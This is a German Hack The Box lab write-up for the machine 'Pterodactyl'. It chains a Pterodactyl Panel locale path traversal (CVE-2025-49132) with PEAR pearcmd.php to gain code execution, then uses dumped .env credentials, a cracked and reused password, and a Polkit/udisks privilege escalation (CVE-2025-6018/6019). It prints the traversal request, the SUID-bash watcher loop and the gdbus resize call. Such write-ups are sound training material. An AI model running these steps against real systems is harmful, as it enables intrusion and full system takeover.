← Zurück zu Machines

HTB · published

Pterodactyl

Hack The Box Season-10 Writeup zu Pterodactyl. Veröffentlichung folgt, sobald die Maschine retired ist.

HTBWriteupseason-10MachineLinux

Metadaten


  • Name: Pterodactyl
  • IP Address: 10.129.16.145
  • Plattform: Linux, openSUSE Leap 15.6
  • Kategorie: Web, Pterodactyl Panel, Linux Privilege Escalation
  • Schwierigkeit: Unknown
  • Ziel(e): User, Root
  • Kurzbeschreibung des Szenarios: Auf Port 80 läuft ein nginx-VHost-Setup mit einer MonitorLand-Seite und einem verwundbaren Pterodactyl Panel. Der Foothold entsteht über CVE-2025-49132 im Locale-Loader, wird durch PEAR-pearcmd.php zu RCE erweitert und führt über Datenbank-Credentials zu einem geknackten Benutzerpasswort. Root wird anschließend über die CVE-2025-6018/CVE-2025-6019-Kette gegen Polkit, PAM-Environment und udisks/libblockdev erreicht.

Reconnaissance/ Enumeration

initscan:

nmap -sT -sV -sC -p22,80 -Pn 10.129.16.145

Ergebnis:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6 (protocol 2.0)
80/tcp open  http    nginx 1.21.5

HTTP leitete auf http://pterodactyl.htb/ weiter. Da die Box über mehrere Hostnames arbeitete, wurden die Einträge lokal auf die Ziel-IP gemappt:

10.129.16.145 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb

VHost-Fuzzing:

ffuf -u http://10.129.16.145/ -H 'Host: FUZZ.pterodactyl.htb' -w <wordlist>

Gefundene Hosts:

pterodactyl.htb
panel.pterodactyl.htb
play.pterodactyl.htb

servicescan:

  • pterodactyl.htb: MonitorLand-Webseite.
  • panel.pterodactyl.htb: Pterodactyl Panel.
  • play.pterodactyl.htb: Redirect zur Hauptseite.
  • /changelog.txt: Offenlegte Pterodactyl Panel v1.11.10, MariaDB 11.8.3 und einen temporären phpinfo.php.
  • /phpinfo.php: PHP-FPM 8.4.8, keine disable_functions, kein open_basedir, PEAR im PHP-include_path.

Die Panel-Version 1.11.10 passte zu CVE-2025-49132. Der Locale-Endpunkt akzeptierte Traversal-Pfade:

curl 'http://panel.pterodactyl.htb/locales/locale.json?locale=../../config/prologue&namespace=alerts'

Damit war klar, dass lokale PHP-Dateien über den Locale-Loader erreichbar waren.

Exploitation (Foothold)

CVE-2025-49132 erlaubt Path Traversal im Pterodactyl-Locale-Loader. Durch die PHP-Konfiguration war PEAR verfügbar, und pearcmd.php konnte über den verwundbaren Include-Pfad angesprochen werden. Über pearcmd.php wurde eine kleine PHP-Payload geschrieben und anschließend über das Web ausgeführt.

RCE-Kontext:

uid=474(wwwrun) gid=477(www) groups=477(www)
cwd=/var/www/pterodactyl/public
hostname=pterodactyl

Die Datei /var/www/pterodactyl/.env enthielt verwertbare Laravel- und Datenbank-Credentials:

DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel
APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=

Mit diesen Credentials konnte die lokale MariaDB-Datenbank panel abgefragt werden. Besonders relevant waren die Tabellen mit Panel-Benutzern, API-Keys und Serverdaten. Die Benutzer-Tabelle enthielt unter anderem headmonitor und phileasfogg3.

Lateral Movement / User Escalation

Aus der Pterodactyl-Datenbank wurde der bcrypt-Hash des Benutzers phileasfogg3 extrahiert. Der Hash konnte mit John geknackt werden:

john --wordlist=<wordlist> panel_bcrypt_hashes.txt

Gefundenes Passwort:

phileasfogg3:!QAZ2wsx

Das Passwort wurde für SSH wiederverwendet:

ssh phileasfogg3@10.129.16.145

Damit war eine stabile interaktive Shell als lokaler Benutzer vorhanden. Die User-Flag lag im Home-Verzeichnis und wurde als Proof gesichert, im Writeup aber geschwärzt.

Privilege Escalation (Root / Domain)

Lokale Enumeration als phileasfogg3 brachte einen Hinweis in /var/spool/mail/phileasfogg3. Die Mail verwies auf ungewöhnliche udisksd-Aktivität. Paket- und Systemprüfung bestätigten einen passenden openSUSE-/udisks-/libblockdev-Pfad.

Relevante Pakete:

udisks2-2.9.2-150400.3.3.1.x86_64
libudisks2-0_btrfs-2.9.2-150400.3.11.1.x86_64

Die Eskalation bestand aus zwei Teilen:

  1. CVE-2025-6018: PAM-Environment/Polkit-Kontext so beeinflussen, dass die SSH-Sitzung als lokale aktive Session gewertet wird.
  2. CVE-2025-6019: udisks/libblockdev-Resize-Pfad missbrauchen, um kurzzeitig ein Dateisystem ohne nosuid im /tmp/blockdev.*-Pfad zu erreichen.

Für CVE-2025-6018 wurde ~/.pam_environment gesetzt:

printf 'XDG_SEAT=seat0\nXDG_VTNR=1\n' > ~/.pam_environment

Ein Stolperstein war eine alte phileasfogg3-Session. Erst nach dem Beenden der stale Session und erneutem SSH-Login enthielt die Session die benötigten Variablen:

XDG_SESSION_ID=182
XDG_SESSION_TYPE=tty
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1002
XDG_VTNR=1

Der Polkit-Check war danach erfolgreich:

pkcheck --action-id org.freedesktop.udisks2.loop-setup --process $$ && echo POLKIT_OK

Für CVE-2025-6019 wurde ein vorbereitetes XFS-Image mit einer SUID-Bash auf das Ziel kopiert und als Loop-Device registriert:

udisksctl loop-setup -f /tmp/xfs.image

Ergebnis:

Mapped file /tmp/xfs.image as /dev/loop0.

Parallel lief ein Watcher, der auf den internen libblockdev-Mount unter /tmp/blockdev.* wartete. Sobald dort die SUID-Bash aus dem Image ausführbar war, wurde eine persistente SUID-root Bash nach /tmp/rootbash kopiert:

while true; do
  for d in /tmp/blockdev.*; do
    if [ -x "$d/bash" ] && "$d/bash" -p -c 'cp /bin/bash /tmp/rootbash; chown root:root /tmp/rootbash; chmod 4755 /tmp/rootbash; echo PWNED' 2>/dev/null; then
      exit 0
    fi
  done
done

Der Resize wurde über DBus ausgelöst:

gdbus call --system \
  --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"

Danach existierte /tmp/rootbash mit SUID-root:

-rwsr-xr-x 1 root root 1012656 /tmp/rootbash

Root-Proof:

/tmp/rootbash -p -c 'id; cat /root/root.txt'

Ausgabe ohne Flag:

uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
[REDACTED-ROOT-FLAG]

Post-Exploitation

  • User Flag: [REDACTED-USER-FLAG]
  • Root Flag: [REDACTED-ROOT-FLAG]
  • Screenshots: keine verwertbaren Screenshots im Workspace gefunden
  • Wichtige Dateien:
    • reports/final_walkthrough.md
    • notes/master_notes.md
    • timeline.txt
    • loot/pterodactyl_env.txt
    • loot/panel_users_hashes_tcp.txt
    • loot/user_flag.txt
    • loot/root_flag.txt
    • loot/root_proof.txt
    • loot/wings_config_lfi.json
    • loot/polkit_udisks_script_check.txt
    • loot/udisks_loop_setup_success.txt
    • loot/udisks_resize_trigger.txt
  • Relevante Logs oder Proofs:
    • loot/initial_rce_context.txt: RCE als wwwrun.
    • loot/rce_env_db_users.txt: Datenbankzugriff und Benutzerhinweise.
    • loot/panel_users_hashes_tcp.txt: extrahierte Panel-Hashes.
    • loot/fresh_session_polkit_after_pkill.txt: funktionierender Session-Kontext nach Reconnect.
    • loot/root_proof.txt: Root-Proof mit geschwärzter Flag im Bericht.

Alternative Pfade, die geprüft wurden:

  • Der Admin-Panel-Zugriff war über temporäres Zurücksetzen des headmonitor-Hashes möglich. Der Hash wurde danach wiederhergestellt.
  • Laravel-verschlüsselte API- und Daemon-Tokens waren durch den APP_KEY entschlüsselbar.
  • Wings/Docker waren nicht aktiv, daher war der Pterodactyl-Daemon-Pfad nicht der finale Root-Weg.
  • Normale udisks-Mounts waren wegen nosuid nicht ausreichend. Der nutzbare Moment entstand im libblockdev-Resize-Pfad.

Lessons Learned

  • Der wichtigste Aha-Moment war, dass CVE-2025-6018 nicht nur XDG_SEAT und XDG_VTNR braucht. Eine frische, passende logind/PAM-Session mit XDG_SESSION_ID und XDG_RUNTIME_DIR war entscheidend.
  • Früher prüfen: Direkt nach SSH-Login env | grep XDG und loginctl list-sessions kontrollieren, bevor man Polkit-Tests wiederholt.
  • Technik zum Merken: Pterodactyl v1.11.10 Locale Traversal plus PEAR pearcmd.php ist ein sehr starker RCE-Chain, wenn PEAR im Include-Path liegt und PHP-Funktionen nicht eingeschränkt sind.
  • Für udisks/libblockdev lohnt sich ein kleiner Watcher auf /tmp/blockdev.*, da das relevante Mount-Fenster kurz ist.
  • Datenbank-Credentials in .env sind bei Laravel/Pterodactyl besonders wertvoll, weil sie Benutzer-Hashes, API-Keys, Serverkonfigurationen und oft verschlüsselte Secrets erreichbar machen.

Notizen

  • Route/Tunnel-Probleme am Anfang führten zu widersprüchlichen Scan-Ergebnissen. Der funktionierende Zugriff lief über die richtige HTB-VPN-Route.

  • ffuf gegen Hostheader war wichtiger als reine Pfad-Enumeration, weil die interessante Angriffsfläche auf panel.pterodactyl.htb lag.

  • Die endgültige Eskalation war nicht im Pterodactyl-Daemon, sondern im lokalen Desktop-/Storage-Stack der openSUSE-Installation.